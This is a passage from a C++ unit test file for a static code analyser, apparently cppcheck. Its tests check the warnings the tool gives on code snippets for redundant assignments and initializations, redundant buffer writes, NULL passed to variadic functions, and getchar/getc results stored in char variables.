fc;\\n\"\n \"};\\n\"\n \"struct state {\\n\"\n \" struct data d[123];\\n\"\n \"};\\n\"\n \"void func(struct state *s) {\\n\"\n \" s->foo[s->x++] = 2;\\n\"\n \" s->d[1].fc.i++;\\n\"\n \"}\");\n\n // #6525 - inline assembly\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" asm(\\\"foo\\\");\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6555\n check(\"void foo() {\\n\"\n \" char *p = 0;\\n\"\n \" try {\\n\"\n \" p = fred();\\n\"\n \" p = wilma();\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" barney(p);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char *p = 0;\\n\"\n \" try {\\n\"\n \" p = fred();\\n\"\n \" p = wilma();\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" barney(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: style: The scope of the variable 'p' can be reduced. [variableScope]\\n\"\n \"[test.cpp:2:11]: style: Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" char *p = 0;\\n\"\n \" try {\\n\"\n \" if(z) {\\n\"\n \" p = fred();\\n\"\n \" p = wilma();\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" barney(p);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Member variable pointers\n check(\"void podMemPtrs() {\\n\"\n \" int POD::*memptr;\\n\"\n \" memptr = &POD::a;\\n\"\n \" memptr = &POD::b;\\n\"\n \" if (memptr)\\n\"\n \" memptr = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: style: Variable 'memptr' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:12]: note: memptr is assigned\\n\"\n \"[test.cpp:4:12]: note: memptr is overwritten\\n\", errout_str());\n\n // Pointer function argument (#3857)\n check(\"void f(float * var)\\n\"\n \"{\\n\"\n \" var[0] = 0.2f;\\n\"\n \" var[0] = 0.2f;\\n\" // <-- is initialized twice\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: style: Variable 'var[0]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:10]: note: var[0] is assigned\\n\"\n \"[test.cpp:4:10]: note: var[0] is overwritten\\n\", errout_str());\n\n check(\"void f(float * var)\\n\"\n \"{\\n\"\n \" *var = 0.2f;\\n\"\n \" *var = 0.2f;\\n\" // <-- is initialized twice\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:8]: style: Variable '*var' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:8]: note: *var is assigned\\n\"\n \"[test.cpp:4:8]: note: *var is overwritten\\n\", errout_str());\n\n // Volatile variables\n check(\"void f() {\\n\"\n \" volatile char *reg = (volatile char *)0x12345;\\n\"\n \" *reg = 12;\\n\"\n \" *reg = 34;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map& m, int key, int value) {\\n\" // #6379\n \" m[key] = value;\\n\"\n \" m[key] = value;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: style: Variable 'm[key]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:2:12]: note: m[key] is assigned\\n\"\n \"[test.cpp:3:12]: note: m[key] is overwritten\\n\",\n errout_str());\n }\n\n void redundantVarAssignment_trivial() {\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" a = 4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a;\\n\"\n \" a = 0;\\n\"\n \" a = 4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned a;\\n\"\n \" a = 0u;\\n\"\n \" a = 2u;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" void* a;\\n\"\n \" a = (void*)0;\\n\"\n \" a = p;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10]: (style) Variable 'a' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" void* a;\\n\"\n \" a = (void*)0U;\\n\"\n \" a = p;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10]: (style) Variable 'a' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n }\n\n void redundantVarAssignment_struct() {\n check(\"struct foo {\\n\"\n \" int a,b;\\n\"\n \"};\\n\"\n \"\\n\"\n \"int main() {\\n\"\n \" struct foo x;\\n\"\n \" x.a = _mm_set1_ps(1.0);\\n\"\n \" x.a = _mm_set1_ps(2.0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:7] -> [test.cpp:8:7]: (style) Variable 'x.a' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.x = 23;\\n\"\n \" ab.y = 41;\\n\"\n \" ab.x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:5:8]: (style) Variable 'ab.x' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" struct AB ab = {0};\\n\"\n \" ab = foo();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_union() {\n // Ticket #5115 \"redundantAssignment when using a union\"\n check(\"void main(void)\\n\"\n \"{\\n\"\n \" short lTotal = 0;\\n\"\n \" union\\n\"\n \" {\\n\"\n \" short l1;\\n\"\n \" struct\\n\"\n \" {\\n\"\n \" unsigned char b1;\\n\"\n \" unsigned char b2;\\n\"\n \" } b;\\n\"\n \" } u;\\n\"\n \" u.l1 = 1;\\n\"\n \" lTotal += u.b.b1;\\n\"\n \" u.l1 = 2;\\n\" //Should not show RedundantAssignment\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5115 \"redundantAssignment when using a union\"\n check(\"void main(void)\\n\"\n \"{\\n\"\n \" short lTotal = 0;\\n\"\n \" union\\n\"\n \" {\\n\"\n \" short l1;\\n\"\n \" struct\\n\"\n \" {\\n\"\n \" unsigned char b1;\\n\"\n \" unsigned char b2;\\n\"\n \" } b;\\n\"\n \" } u;\\n\"\n \" u.l1 = 1;\\n\"\n \" u.l1 = 2;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:13:10] -> [test.cpp:14:10]: (style) Variable 'u.l1' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n // Ticket #10093 \"redundantAssignment when using a union\"\n check(\"typedef union fixed32_union {\\n\"\n \" struct {\\n\"\n \" unsigned32 abcd;\\n\"\n \" } u32;\\n\"\n \" struct {\\n\"\n \" unsigned16 ab;\\n\"\n \" unsigned16 cd;\\n\"\n \" } u16;\"\n \" struct {\\n\"\n \" unsigned8 a;\\n\"\n \" unsigned8 b;\\n\"\n \" unsigned8 c;\\n\"\n \" unsigned8 d;\\n\"\n \" } b;\\n\"\n \"} fixed32;\\n\"\n \"void func1(void) {\\n\"\n \" fixed32 m;\\n\"\n \" m.u16.ab = 47;\\n\"\n \" m.u16.cd = 0;\\n\"\n \" m.u16.ab = m.u32.abcd / 53;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #10093 \"redundantAssignment when using a union\"\n check(\"typedef union{\\n\"\n \" char as_char[4];\\n\"\n \" int as_int;\\n\"\n \"} union_t;\\n\"\n \"void fn(char *data, int len) {\\n\"\n \" int i;\\n\"\n \" for (i = 0; i < len; i++)\\n\"\n \" data[i] = 'a';\\n\"\n \"}\\n\"\n \"int main(int argc, char *argv[]) {\\n\"\n \" union_t u;\\n\"\n \" u.as_int = 42;\\n\"\n \" fn(&u.as_char[0], 4);\\n\"\n \" u.as_int = 0;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5115 \"redundantAssignment when using a union\"\n check(\"void foo(char *ptr) {\\n\"\n \" union {\\n\"\n \" char * s8;\\n\"\n \" unsigned long long u64;\\n\"\n \" } addr;\\n\"\n \" addr.s8 = ptr;\\n\"\n \" addr.u64 += 8;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12895\n \" int x, y;\\n\"\n \"};\\n\"\n \"union U {\\n\"\n \" S* s;\\n\"\n \"};\\n\"\n \"void f(const U& Src, const U& Dst) {\\n\"\n \" Dst.s->x = Src.s->x;\\n\"\n \" Dst.s->y = Src.s->y;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_7133() {\n // #7133\n check(\"sal_Int32 impl_Export() {\\n\"\n \" try {\\n\"\n \" try {\\n\"\n \" uno::Sequence< uno::Any > aArgs(2);\\n\"\n \" beans::NamedValue aValue;\\n\"\n \" aValue.Name = \\\"DocumentHandler\\\";\\n\"\n \" aValue.Value <<= xDocHandler;\\n\"\n \" aArgs[0] <<= aValue;\\n\"\n \" aValue.Name = \\\"Model\\\";\\n\"\n \" aValue.Value <<= xDocumentComp;\\n\"\n \" aArgs[1] <<= aValue;\\n\"\n \" }\\n\"\n \" catch (const uno::Exception&) {\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (const uno::Exception&) {\\n\"\n \" }\\n\"\n \"}\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void ConvertBitmapData(sal_uInt16 nDestBits) {\\n\"\n \" BitmapBuffer aSrcBuf;\\n\"\n \" aSrcBuf.mnBitCount = nSrcBits;\\n\"\n \" BitmapBuffer aDstBuf;\\n\"\n \" aSrcBuf.mnBitCount = nDestBits;\\n\"\n \" bConverted = ::ImplFastBitmapConversion( aDstBuf, aSrcBuf, aTwoRects );\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:3:24] -> [test.c:5:24]: (style) Variable 'aSrcBuf.mnBitCount' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n check(\"void ConvertBitmapData(sal_uInt16 nDestBits) {\\n\"\n \" BitmapBuffer aSrcBuf;\\n\"\n \" aSrcBuf.mnBitCount = nSrcBits;\\n\"\n \" BitmapBuffer aDstBuf;\\n\"\n \" aSrcBuf.mnBitCount = nDestBits;\\n\"\n \" bConverted = ::ImplFastBitmapConversion( aDstBuf, aSrcBuf, aTwoRects );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:24] -> [test.cpp:5:24]: (style) Variable 'aSrcBuf.mnBitCount' is reassigned a value before the old one has been used. [redundantAssignment]\\n\",\n errout_str());\n\n check(\"class C { void operator=(int x); };\\n\" // #8368 - assignment operator might have side effects => inconclusive\n \"void f() {\\n\"\n \" C c;\\n\"\n \" c = x;\\n\"\n \" c = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7] -> [test.cpp:5:7]: (style, inconclusive) Variable 'c' is reassigned a value before the old one has been used if variable is no semaphore variable. [redundantAssignment]\\n\", errout_str());\n }\n\n void redundantVarAssignment_stackoverflow() {\n check(\"typedef struct message_node {\\n\"\n \" char code;\\n\"\n \" size_t size;\\n\"\n \" struct message_node *next, *prev;\\n\"\n \"} *message_list;\\n\"\n \"static message_list remove_message_from_list(message_list m) {\\n\"\n \" m->prev->next = m->next;\\n\"\n \" m->next->prev = m->prev;\\n\"\n \" return m->next;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_lambda() {\n // #7152\n check(\"int foo() {\\n\"\n \" int x = 0, y = 0;\\n\"\n \" auto f = [&]() { if (x < 5) ++y; };\\n\"\n \" x = 2;\\n\"\n \" f();\\n\"\n \" x = 6;\\n\"\n \" f();\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10228\n check(\"std::tuple g();\\n\"\n \"void h(int);\\n\"\n \"void f() {\\n\"\n \" auto [a, b] = g();\\n\"\n \" auto l = [a = a]() { h(i); };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_loop() {\n check(\"void f() {\\n\"\n \" char buf[10];\\n\"\n \" int i;\\n\"\n \" for (i = 0; i < 4; i++)\\n\"\n \" buf[i] = 131;\\n\"\n \" buf[i] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void bar() {\\n\" // #9262 do-while with break\n \" int x = 0;\\n\"\n \" x = 432;\\n\"\n \" do {\\n\"\n \" if (foo()) break;\\n\"\n \" x = 1;\\n\"\n \" } while (false);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int num) {\\n\" // #9420 FP\n \" int a = num;\\n\"\n \" for (int b = 0; b < num; a = b++)\\n\"\n \" dostuff(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int num) {\\n\" // #9420 FN\n \" int a = num;\\n\"\n \" for (int b = 0; b < num; a = b++);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void redundantVarAssignment_after_switch() {\n check(\"void f(int x) {\\n\" // #7907\n \" int ret;\\n\"\n \" switch (x) {\\n\"\n \" case 123:\\n\"\n \" ret = 1;\\n\" // redundant assignment\n \" break;\\n\"\n \" }\\n\"\n \" ret = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13] -> [test.cpp:8:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n }\n\n void redundantVarAssignment_pointer() {\n check(\"void f(int *ptr) {\\n\"\n \" int *x = ptr + 1;\\n\"\n \" *x = 23;\\n\"\n \" foo(ptr);\\n\"\n \" *x = 32;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8997\n check(\"void f() {\\n\"\n \" char x[2];\\n\"\n \" char* p = x;\\n\"\n \" *p = 1;\\n\"\n \" p += 1;\\n\"\n \" *p = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_pointer_parameter() {\n check(\"void f(int *p) {\\n\"\n \" *p = 1;\\n\"\n \" if (condition) return;\\n\"\n \" *p = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_array() {\n check(\"void f() {\\n\"\n \" int arr[10];\\n\"\n \" int i = 0;\\n\"\n \" arr[i] = 1;\\n\"\n \" i += 2;\\n\"\n \" arr[i] = 3;\\n\"\n \" dostuff(arr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_switch_break() {\n // #10058\n check(\"void f(int a, int b) {\\n\"\n \" int ret = 0;\\n\"\n \" switch (a) {\\n\"\n \" case 1:\\n\"\n \" ret = 543;\\n\"\n \" if (b) break;\\n\"\n \" ret = 1;\\n\"\n \" break;\\n\"\n \" }\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" int ret = 0;\\n\"\n \" switch (a) {\\n\"\n \" case 1:\\n\"\n \" ret = 543;\\n\"\n \" if (b) break;\\n\"\n \" ret = 1;\\n\"\n \" break;\\n\"\n \" }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13] -> [test.cpp:7:13]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n }\n\n void redundantInitialization() {\n setMultiline();\n\n check(\"void f() {\\n\"\n \" int err = -ENOMEM;\\n\"\n \" err = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: style: Redundant initialization for 'err'. The initialized value is overwritten before it is read. [redundantInitialization]\\n\"\n \"[test.cpp:2:13]: note: err is initialized\\n\"\n \"[test.cpp:3:9]: note: err is overwritten\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" struct S s = {1,2,3};\\n\"\n \" s = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: style: Redundant initialization for 's'. The initialized value is overwritten before it is read. [redundantInitialization]\\n\"\n \"[test.cpp:2:16]: note: s is initialized\\n\"\n \"[test.cpp:3:7]: note: s is overwritten\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int *p = NULL;\\n\"\n \" p = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10]: style: Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n // \"trivial\" initialization => do not warn\n check(\"void f() {\\n\"\n \" struct S s = {0};\\n\"\n \" s = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N { enum E {e0,e1}; }\\n\"\n \"void f() {\\n\"\n \" N::E e = N::e0;\\n\" // #9261\n \" e = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #10143\n \" std::shared_ptr i = g();\\n\"\n \" h();\\n\"\n \" i = nullptr;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\" // #9815\n \" int i = g();\\n\"\n \" i = std::distance(v.begin(), std::find_if(v.begin(), v.end(), [=](int j) { return i == j; }));\\n\"\n \" return i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // cppcheck-suppress unusedPrivateFunction\n void redundantMemWrite() {\n // Simple tests\n // cppcheck-suppress unreachableCode - remove when code is enabled again\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(a, foo, bar);\\n\"\n \" memset(a, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" strcpy(a, foo);\\n\"\n \" strncpy(a, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" sprintf(a, \\\"foo\\\");\\n\"\n \" memmove(a, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void f(char *filename) {\\n\"\n \" char *p = strrchr(filename,'.');\\n\"\n \" strcpy(p, \\\"foo\\\");\\n\"\n \" dostuff(filename);\\n\"\n \" strcpy(p, \\\"foo\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Writing to different parts of a buffer\n check(\"void f(void* a) {\\n\"\n \" memcpy(a, foo, bar);\\n\"\n \" memset(a+5, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Use variable as second argument\n check(\"void f(void* a, void* b) {\\n\"\n \" memset(a, 0, 5);\\n\"\n \" memcpy(b, a, 5);\\n\"\n \" memset(a, 1, 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // strcat is special\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" strcpy(a, foo);\\n\"\n \" strcat(a, bar);\\n\" // Not redundant\n \" strcpy(a, x);\\n\" // Redundant\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n // Tests with function call between copy\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" snprintf(a, foo, bar);\\n\"\n \" bar();\\n\"\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void* a;\\n\"\n \"void f() {\\n\"\n \" memset(a, 0, size);\\n\"\n \" bar();\\n\" // Global variable might be accessed in bar()\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" memset(a, 0, size);\\n\"\n \" bar();\\n\"\n \" memset(a, 0, size);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", \"\", errout_str());\n\n check(\"void bar(void* a) {}\\n\"\n \"void f(void* a) {\\n\"\n \" memset(a, 0, size);\\n\"\n \" bar(a);\\n\" // Passed as argument\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Branch tests\n check(\"void f(void* a) {\\n\"\n \" memset(a, 0, size);\\n\"\n \" if(x)\\n\"\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4455 - initialization of local buffer\n check(\"void f(void) {\"\n \" char buf[10];\\n\"\n \" memset(buf, 0, 10);\\n\"\n \" strcpy(buf, string);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" char buf[10] = {0};\\n\"\n \" memset(buf, 0, 10);\\n\"\n \" strcpy(buf, string);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'buf' is being written before its old content has been used.\\n\", errout_str());\n\n // #5689 - use return value of strcpy\n check(\"int f(void* a) {\\n\"\n \" int i = atoi(strcpy(a, foo));\\n\"\n \" strncpy(a, 0, bar);\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7175 - read+write\n check(\"void f() {\\n\"\n \" char buf[100];\\n\"\n \" strcpy(buf, x);\\n\"\n \" strcpy(buf, dostuff(buf));\\n\" // <- read + write\n \" strcpy(buf, x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char buf[100];\\n\"\n \" strcpy(buf, x);\\n\"\n \" strcpy(buf, dostuff(buf));\\n\"\n \" strcpy(buf, x);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void redundantAssignmentSameValue() {\n check(\"int main() {\\n\" // #11642\n \" int a = 0;\\n\"\n \" int b = a;\\n\"\n \" int c = 1;\\n\"\n \" a = b;\\n\"\n \" return a * b * c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:5:5]: (style) Variable 'a' is assigned an expression that holds the same value. [redundantAssignment]\\n\", errout_str());\n\n check(\"int main() {\\n\"\n \" int a = 0;\\n\"\n \" int b = a;\\n\"\n \" int c = 1;\\n\"\n \" a = b + 1;\\n\"\n \" return a * b * c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main() {\\n\"\n \" int a = 0;\\n\"\n \" int b = a;\\n\"\n \" int c = 1;\\n\"\n \" a = b = 5;\\n\"\n \" return a * b * c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:5:11]: (style) Redundant initialization for 'b'. The initialized value is overwritten before it is read. [redundantInitialization]\\n\", errout_str());\n\n check(\"int f(int i) {\\n\" // #12874\n \" int j = i + 1;\\n\"\n \" if (i > 5)\\n\"\n \" j = i;\\n\"\n \" return j;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12894\n \" std::string a;\\n\"\n \" void f(const S& s);\\n\"\n \" void g(const S& s);\\n\"\n \"};\\n\"\n \"void S::f(const S& s) {\\n\"\n \" std::string x = a;\\n\"\n \" this->operator=(s);\\n\"\n \" a = x;\\n\"\n \"}\\n\"\n \"void S::g(const S& s) {\\n\"\n \" std::string x = a;\\n\"\n \" operator=(s);\\n\"\n \" a = x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varFuncNullUB() { // #4482\n check(\"void a(...);\\n\"\n \"void b() { a(NULL); }\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (portability) Passing NULL after the last typed argument to a variadic function leads to undefined behaviour. [varFuncNullUB]\\n\", errout_str());\n\n check(\"void a(char *p, ...);\\n\"\n \"void b() { a(NULL, 2); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkCastIntToCharAndBack() { // #160\n\n // check getchar\n check(\"void f() {\\n\"\n \"unsigned char c; c = getchar();\\n\"\n \" while( c != EOF)\\n\"\n \" {\\n\"\n \" bar(c);\\n\"\n \" c = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \"unsigned char c = getchar();\\n\"\n \" while( EOF != c)\\n\"\n \" {\\n\"\n \" bar(c);\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned char c; c = getchar();\\n\"\n \" while( EOF != c )\\n\"\n \" {\\n\"\n \" bar(c);\\n\"\n \" c = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned char c;\\n\"\n \" while( EOF != ( c = getchar() ) )\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i; i = getchar();\\n\"\n \" while( i != EOF)\\n\"\n \" {\\n\"\n \" bar(i);\\n\"\n \" i = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i; i = getchar();\\n\"\n \" while( EOF != i )\\n\"\n \" {\\n\"\n \" bar(i);\\n\"\n \" i = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n // check getc\n check(\"void f (FILE * pFile){\\n\"\n \"unsigned char c;\\n\"\n \"do {\\n\"\n \" c = getc (pFile);\\n\"\n \"} while (c != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (warning) Storing getc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"unsigned char c;\\n\"\n \"do {\\n\"\n \" c = getc (pFile);\\n\"\n \"} while (EOF != c);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (warning) Storing getc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = getc (pFile);\\n\"\n \"} while (i != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = getc (pFile);\\n\"\n \"} while (EOF != i);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n // check fgetc\n check(\"void f (FILE * pFile){\\n\"\n \"unsigned char c;\\n\"\n \"do {\\n\"\n \" c = fgetc (pFile);\\n\"\n \"} while (c != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (warning) Storing fgetc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"char c;\\n\"\n \"do {\\n\"\n \" c = fgetc (pFile);\\n\"\n \"} while (EOF != c);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (warning) Storing fgetc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"signed char c;\\n\"\n \"do {\\n\"\n \" c = fgetc (pFile);\\n\"\n \"} while (EOF != c);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = fgetc (pFile);\\n\"\n \"} while (i != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = fgetc (pFile);\\n\"\n \"} while (EOF != i);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // cin.get()\n check(\"void f(){\\n\"\n \" char ch; ch = 